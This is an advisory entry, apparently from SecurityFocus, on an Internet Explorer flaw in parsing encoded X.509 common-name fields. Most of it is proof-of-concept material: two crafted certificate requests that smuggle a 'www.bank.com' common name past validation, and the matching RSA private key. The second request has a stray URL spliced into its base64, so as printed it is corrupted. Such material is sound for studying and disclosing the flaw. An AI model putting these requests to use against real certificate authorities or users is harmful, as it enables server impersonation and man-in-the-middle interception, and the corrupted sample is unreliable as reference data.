source: http://www.securityfocus.com/bid/36577/info

Microsoft Internet Explorer is a browser available for Microsoft Windows.

Internet Explorer is prone to multiple security-bypass vulnerabilities because it fails to properly handle encoded values in X.509 certificates. Specifically, it fails to properly distinguish integer sequences that are then recognized as CN (common name) elements.

Successful exploits allow attackers to perform man-in-the-middle attacks or impersonate trusted servers, which will aid in further attacks. 

PKCS#10 Request with Leading Zeroes:
-----BEGIN CERTIFICATE REQUEST-----
MIIBoTCCAQoCAQAwYTETMBEGA1UEChMKQmFkZ3V5IEluYzEXMBUGA1UEAxMOd3d3
LmJhZGd1eS5jb20xGTAXBgNVBAsTEEhhY2tpbmcgRGl2aXNpb24xFjAUBgRVBIAD
Ewx3d3cuYmFuay5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANmLyxoJ
hdDkywSs9J2E70fg5Z2Wou29jKgCDPSFBKTH6syTzWArF84mF4B7a/3aPaaSTwYQ
43siBhDkqYAanZFiLcZS6KVB53/FSsJwzz4+CpDcl7ky5utF/6Yfv86408PpFJvv
5FWLLYBjLkyKE7ru5aMQqqnlZQIHOZc06VIZAgMBAAGgADANBgkqhkiG9w0BAQQF
AAOBgQAt9IeKCGIK6WZRP7tcuAZoQBWbxXpASRozSSRWa5GRpLigTb69tggy7kyH
bVHsbR3uL5j9wObTaU0EzFLXRDW5R/fQy1SBJLo3S7VXKgSJisMP9rBbuUIgLK6f
tlLl4l4l8jJhYPSYkXge1wmyuXVnte53XGy67mBubATzWRk40w==
-----END CERTIFICATE REQUEST-----
PKCS#10 Request with 64 Bit Overflow:
-----BEGIN CERTIFICATE REQUEST-----
MIIBqjCCARMCAQAwajETMBEGA1UEChMKQmFkZ3V5IEluYzEXMBUGA1UEAxMOd3d3
LmJhZGd1eS5jb20xGTAXBgNVBAsTEEhhY2tpbmcgRGl2aXNpb24xHzAdBg1VBIKA
gICAgICAgIADEwx3d3cuYmFuay5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJ
AoGBANmLyxoJhdDkywSs9J2E70fg5Z2Wou29jKgCDPSFBKTH6syTzWArF84mF4B7
a/3aPaaSTwYQ43siBhDkqYAanZFiLcZS6KVB53/FSsJwzz4+CpDcl7ky5utF/6Yf
v86408PpFJvv5FWLLYBjLkyKE7ru5aMQqqnlZQIHOZc06VIZAgMBAAGgADANBgkq
hkiG9w0BAQQFAAOBgQC5avxpz3cfAqmmi2JDAnYBEwzgZfjIAAldk5X8HAX7mB9/https://ww
w.defcon.org/
77neRquSA5VhUQ8K8tdVQylBoaengqQrNpcWu/mTagm0RNaq3fBT6g9hmaGOHjli
zbuMfUaH5eMAubxxc04uHPcYShjFzTcIASG8jPJqwIM/CHsSBTG5VlJX8iFquA==
-----END CERTIFICATE REQUEST-----
Private Key For Above Requests:
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDZi8saCYXQ5MsErPSdhO9H4OWdlqLtvYyoAgz0hQSkx+rMk81g
KxfOJheAe2v92j2mkk8GEON7IgYQ5KmAGp2RYi3GUuilQed/xUrCcM8+PgqQ3Je5
MubrRf+mH7/OuNPD6RSb7+RViy2AYy5MihO67uWjEKqp5WUCBzmXNOlSGQIDAQAB
AoGAGnnQ9hJCnvG5Y5BJFQKgvHa6eztiCN0QyUG2oeuubP+Hq+4xCIs2EnjAU3qx
4es1pZgY1fwoM0wowNWTa2vR0S5Sse0cVFoEzgOUNDE3bGyRRatjjZEFq6Q1oH3Y
MdW9B4bvFsU7wf6MbGmDWFGVMLmBfBlqnSMu324Nfm3xdAECQQDyuHD1XCEtHvcG
+SQnngLVs5d6nMnQsA06nEotBLrIe8QESmanOoSEtIsr25zNyUtr6QZqHaldOYK+
SzWf+KWRAkEA5XLB/En3KtQWd+R/jmd8f8ef4IdbmAg+BChoayJPUbI2tyER97MV
xAUPN1SujN5C4B+cCz79hXk2+W5dnrOACQJBALO815EqVzsFiiJ0zkw0G59KrarT
fjN2m2VCpT8vGG4sEJyox9mgYM+wrrqcl0JghOR1HBXqvydU1je6lAxRYbECQQCE
QIw9riiQgCTfQE6ht1aUlGy7z2llDUMpxFzDe8g6b72H+sDPhGMEVGI740ylF6t2
YeHgvZMFryOXzBycUBx5AkEAibS/zSPs08ix6LIaRYsok692TTqb49Cg+FuhJsx/
eEegf1tZTACaCETRB1+edTW20MDwZukGs0WnZ9axgs/9PA==
-----END RSA PRIVATE KEY-----